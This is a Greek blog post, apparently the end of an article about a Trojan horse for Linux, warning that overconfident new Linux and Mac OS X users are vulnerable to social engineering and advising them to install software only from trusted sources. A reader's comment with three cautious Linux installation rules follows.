Το έχουμε πει και θα το ξαναπούμε, όσες φορές κι αν χρειαστεί. Συχνά, ο πιο αδύναμος κρίκος στην ασφάλεια των συστημάτων δεν είναι το λειτουργικό σύστημα ή οι όποιες εφαρμογές προστασίας, αλλά ο ίδιος ο άνθρωπος. Αν κάποιος είναι επιπόλαιος κι εύπιστος, δεν έχει καμία απολύτως σημασία αν τρέχει Windows, Linux ή Mac OS X. Θα τολμούσαμε μάλιστα να πούμε ότι ιδιαίτερα οι νέοι φίλοι του Linux και του Mac OS X, που έχουν ακούσει χιλιάδες φορές για το πόσο ασφαλές, άτρωτο, αξιόπιστο κ.λπ. κ.λπ. είναι το λειτουργικό στο οποίο τώρα στρέφονται, αρχίζουν να το χρησιμοποιούν με μια επικίνδυνα χαλαρή προδιάθεση. Για να το πούμε απλά, από τη στιγμή που έχουν ήδη -κακώς- πειστεί ότι το OS είναι 100% ασφαλές, είναι πανέτοιμοι να κάνουν την επιπόλαιη κίνηση που θα στοιχίσει την ασφάλεια του υπολογιστή τους, ακόμα και την πλήρη άλωσή του.

Μην είστε εύπιστοι, λοιπόν. Σκεφτείτε πριν κάνετε κάποια ενέργεια στην οποία σας παρακινεί κάποιος άλλος, ιδιαίτερα αν δεν τον γνωρίζετε καλά. Κατεβάζετε κι εγκαθιστάτε λογισμικό μόνο από γνωστές, έγκυρες πηγές.

Διαβάστε, τέλος, αν θέλετε και τις γενικές οδηγίες που έχουμε περιγράφουμε σ’ αυτό το post. Είναι γραμμένο κυρίως για Windows users, πολλά όμως απ’ όσα πραγματεύεται αφορούν και σε χρήστες άλλων λειτουργικών συστημάτων.

One Response to “Ένα Trojan horse για το Linux!”

  1. donald iljazi | 19/11/2011 at 20:40

    Εννοείτε πώς κανένα σύστημα δεν είναι ασφαλές και οτι η συμπεριφορά του χρήστη παίζει ρόλο. Άν στο Linux κρατήσουμε 3 απλούς κανόνες τότε έχουμε το κεφάλι μας καθαρό.

    1. Ποτέ δεν κάνουμε Compile προγράμματα.
    2. Δεν χρησιμιοποιούμε Repositories 3ων εκτός και αν είναι γνωστά Repo.
    3. Δεν εγκαθιστούμε Debs εκτός τον Repo.

    Νομίζω είναι και ένας απο τους λόγους που όλοι στρέφονται προς τα App Stores…

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων